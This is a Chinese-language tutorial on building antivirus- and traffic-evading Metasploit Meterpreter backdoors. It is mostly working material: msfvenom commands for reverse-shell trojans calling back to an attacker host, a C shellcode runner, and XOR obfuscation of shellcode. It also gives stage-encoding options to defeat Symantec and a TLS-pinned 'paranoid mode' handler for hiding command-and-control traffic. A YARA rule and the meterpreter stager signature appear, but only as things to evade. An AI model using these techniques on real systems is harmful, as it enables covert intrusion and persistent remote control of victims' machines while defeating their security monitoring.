MSF+生成流量免殺木馬
在實戰中，即便你繞過了殺毒軟件的檢測，也很有可能會結束在某些流量監控的設備上。MSF可以說其是每一個內網玩家的必用工具。理所當然，這款工具也自然而然地被各大安全廠商分析，捕捉其在命令執行時產生的數據和流量。當我們使用一個沒有做過加密處理的原版工具時，內網中的安全設備會根據我們的流量特征進行判斷，認定我們為惡意進程，從而導致控制中斷。
Meterpreter技巧
生成后門
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f exe > /root/Desktop/Green_m.exe
這樣可以生成一個使用tcp協議反向連接到192.168.1.200的4444端口的meterpreter的后門。
這樣生成的exe可以運行，但是會被殺掉。
生成shellcode免殺
手動編譯meterpreter并對shellcode進行編碼就能繞過靜態查殺，meterpreter本身就是直接加載進內存并且有編碼，繞過動態查殺基本沒問題
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ lhost=192.168.1.200 lport=4444 -f c
上述命令生成在之前的基礎上生成基于c語言格式的shellcode，通過e參數指定編碼方式，i參數指定編碼次數，b參數去除指定代碼，一般是空代碼或者錯誤代碼，-f指定生成格式。
unsigned char buf[] =
"shellcode is here";
main()
{
( (void(*)(void))&buf)();
}
這種方式vc++6.0能夠成功編譯
選擇payload進行免殺
上面生成shellcode的方式是針對殺軟靜態免殺的，接下來說到動態行為免殺。
在對市面上主流的殺軟進行測試的過程中，發現symantec會在meterpreter回連成功，從metasploit里接受數據的時候報毒。
無論是自己手動編碼編譯還是msf自動生成的exe都會這樣被報毒。
使用reverse_https等payload可以anti symantec。
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.200 lport=443 -f c
但是需要在metasploit設置：
set EnableStageEncoding true set stageencoder x86/fnstenv_mov set stageencodingfallback false
將控制端向被控制端發送的stage進行編碼，從而繞過symantec的查殺。
同樣，使用reverse_tcp_rc4也有同樣的效果，而且不用設置stageencoder選項，更穩定更方便。
msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=192.168.1.200 lport=4444 RC4PASSWORD=Green-m -f c
利用rc4對傳輸的數據進行加密，密鑰在生成時指定，在監聽的服務端設置相同的密鑰。就可以在symantec眼皮底下執行meterpreter。
Meterpreter免殺及對抗分析
靜態檢測與對抗
靜態分析原理
簡單的來說，就是通過特征碼識別靜態文件，殺軟會掃描存在磁盤上的鏡像文件，如果滿足特征碼，就識別為惡意軟件。
惡意軟件匹配規則yara匹配惡意軟件的時候就是用的這樣的方式。通過特征來識別抓HASH工具QuarksPwDump，yara規則如下
/*
This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license.
*/
rule QuarksPwDump_Gen : Toolkit {
meta:
description = "Detects all QuarksPWDump versions"
author = "Florian Roth"
date = "2015-09-29"
score = 80
hash1 = "2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa"
hash2 = "87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f"
hash3 = "a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9"
hash4 = "c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab"
hash5 = "677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa"
hash6 = "d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674"
hash7 = "8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819"
strings:
$s1 = "OpenProcessToken() error: 0x%08X" fullword ascii
$s2 = "%d dumped" fullword ascii
$s3 = "AdjustTokenPrivileges() error: 0x%08X" fullword ascii
$s4 = "\\SAM-%u.dmp" fullword ascii
condition:
all of them
}
可以看到匹配匹配s2 s4全部四條規則及標記為識別。
當然還有通過md5、sha1來計算文件hash識別惡意軟件，最簡單粗暴而且有效，但是也很容易繞過，也有分段進行hash來識別相似度的方法，原理和上面的特征碼識別都是一樣的，這里不再贅述。
對抗靜態分析
1.修改特征碼 特征碼的識別也有一些不同的方式，最開始是使用單個特征碼來定位，就有了與之對抗的ccl，隨著對抗技術的升級，就有了多條的特征碼，對應的也就有了mutilccl, myccl, virtest，甚至現在github上的自動化特征碼識別，技術越來越多樣。
修改特征碼最重要的是定位特征碼，但是定位了特征碼修改后并不代表程序就能正常運行，費時費力，由于各個殺軟廠商的特征庫不同，所以一般也只能對一類的殺軟起效果。雖然效果不好，但有時候在沒有源碼的情況下可以一用。
雖然meterpreter對于我們來說是開源的，但是偶爾編譯出來的文件修改一些小地方就能讓殺軟直接報廢，也算是一個保留方法了。
2.加殼 加殼雖然對于特征碼繞過有非常好的效果，加密殼基本上可以把特征碼全部掩蓋，但是缺點也非常的明顯，因為殼自己也有特征。在某些比較流氓的國產殺軟的檢測方式下，主流的殼如VMP, Themida等，一旦被檢測到加殼直接彈框告訴你這玩意兒有問題，雖然很直接，但是還是挺有效的。有些情況下，有的常見版本的殼會被直接脫掉分析。
面對這種情況可以考慮用一切冷門的加密殼，有時間精力的可以基于開源的壓縮殼改一些源碼，效果可能會很不錯。
總得來說，加殼的方式來免殺還是比較實用的，特別是對于不開源的PE文件，通過加殼可以繞過很多特征碼識別。
3.shellcode 編譯 msfvenom不僅提供多種格式的payload，其中就包括shellcode。shellcode對于源碼免殺來說基本上是最好用的那種，繞過靜態殺軟的神器。
使用msfvenom選擇encoder的時候大家一般都會選擇shikata_ga_nai這個編碼方式（因為x86的encoder里只有它的Rank是excellent），這個encoder的解碼和編碼過程都是隨機生成的。
但是，這個編碼內容是有特征的，經過shikata_ga_nai 編碼之后的shellcode必定含有\xd9\x74\x24\xf4 這串16進制字符
當然不止是 shikata_ga_na 編碼方式，其他的編碼方式特征可能更加明顯（x86/fnstenv_mov 的編碼方式就被很多殺軟能直接檢測到，遠不如 shikata_ga_na ）。那么如果要對抗這樣的情況，只能自己再將編碼過后的shellcode進行編碼或者加密。
這里寫一個簡單的xor作為demo供大家感受一下，代碼如下：
unsigned char shellcode[]=
"\x33\xc9\xb1\xc6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe6";
// the key to xor
unsigned char key[]="\xcc\0xfa\0x1f\0x3d";
// encode shellcode
for ( i=0; i<(sizeof(shellcode)-1) ; i=i+1)
{
shellcode[i]=shellcode[i]^key[i % sizeof(key)];
}
// decoder
void decode()
{
for (i=0; i<(sizeof(shellcode)-1); i+=1)
shellcode[i]=shellcode[i]^key[i%sizeof(key)];
}
void executeShellcode()
{
decode();
// run shellcode
}
流量檢測與對抗
Meterpreter的傳輸加載
要知道meterpreter的流量特征，首先要搞清楚meterpreter的傳輸方式。
metasploit的木馬分為兩個大類，staged 和stageless 。
staged類型的木馬的運行流程為：
客戶端在從服務器端接收stager后，stager由引導代碼loader和payload組成，客戶端在內存中分配一段地址將payload暫存起來，再通過loader來加載內存中的payload。這種內存中注入PE文件的方式稱為反射型DLL注入。
stageless的則是將完整的payload都編譯在木馬中，相對與staged的木馬來說，前者體積龐大不靈活，而且容易被殺。
我們以windows/meterpreter/reverse_tcp為例，下面是部分源碼（完整源碼）
# Generate and compile the stager
#
def generate_reverse_tcp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api} ; To find some functions address such as VirutalAlloc()
start:
pop ebp
#{asm_reverse_tcp(opts)} ; Send and recvice socket connection
#{asm_block_recv(opts)} ; Do some stuff after recvied payload
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
asm_block_api部分是用來定義查詢API調用地址的函數。
asm_reverse_tcp 部分是用來發送socket請求的。
asm_block_recv 部分是建立連接后，接收服務端發送的stager，再通過 VirtualAlloc() 分配RWX權限的內存，然后執行后續。
這部分建客戶端發起連接的過程其實是沒有什么特征的，特征主要是在服務端發送的stager，接下來讓我們詳細看看發送的stager里是什么。
為了讓客戶端運行服務端發送的meterpreter payload，需要先發送一個加載meterpreter_loader
這段代碼主要作用是加載反射性注入的引導代碼ReflectiveLoader，通過ReflectiveLoader來加載meterpreter及相關配置。
上面分析這段meterpreter_loader是固定的一段匯編代碼，通過nasm將該部分匯編代碼轉化為機器碼如下：
4d5ae8000000005b52455589e581c364130000ffd381c395a40200893b536a0450ffd0
該16進制字符串即為meterpreter的特征。
對抗流量檢測
既然流量是有特征的，那么有沒有辦法對流量進行加密呢，答案是肯定的，在某些環境下，我們需要用到meterpreter的偏執模式(paranoid mode)。
偏執模式在面對接受的請求很多的時候，可以有效過濾篩選回連的請求，只留下自己所需要的。
同時，因為其使用了SSL/TLS 認證，因此在應對流量監控和分析時，有很不錯的效果，當然也能夠Bypass av(by data stream)。
創建一個SSL/TLS證書
在kali或者其他帶有openssl的環境下：
$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=green-m.github.io" \ -keyout green-m.github.io.key \ -out green-m.github.io.crt && \ cat green-m.github.io.key green-m.github.io.crt > green-m.github.io.pem && \ rm -f green-m.github.io.key green-m.github.io.crt
你可以把green-m.github.io這個URL改成任意你想回連的地址，直接指定相應IP也可以。
如果能搞到一個受信任的證書頒發機構簽名的SSL/TLS證書，那就流量直接暢通無阻。
生成偏執模式的payload
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=green-m.github.io LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=./green-m.github.io.pem StagerVerifySSLCert=true PayloadUUIDName=Green_m -f exe -o ./Green_m.exe
通過設置PayloadUUIDTracking和PayloadUUIDName可以在監聽的時候過濾掉不需要的回連請求。為了Bypass av的需求，你還可以生成shellcode來自己編譯。
如果網絡環境不好，你還可以使用stageless的payload，-p參數指定windows/meterpreter_reverse_https，其他不用修改。
監聽偏執模式
msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_winhttps set LHOST green-m.github.io set LPORT 443 set HandlerSSLCert ./green-m.github.io.pem set IgnoreUnknownPayloads true set StagerVerifySSLCert true set exitonsession false run -j -z
設置HandlerSSLCert和StagerVerifySSLCert參數來使用TLS pinning，IgnoreUnknownPayloads接受白名單的payload。
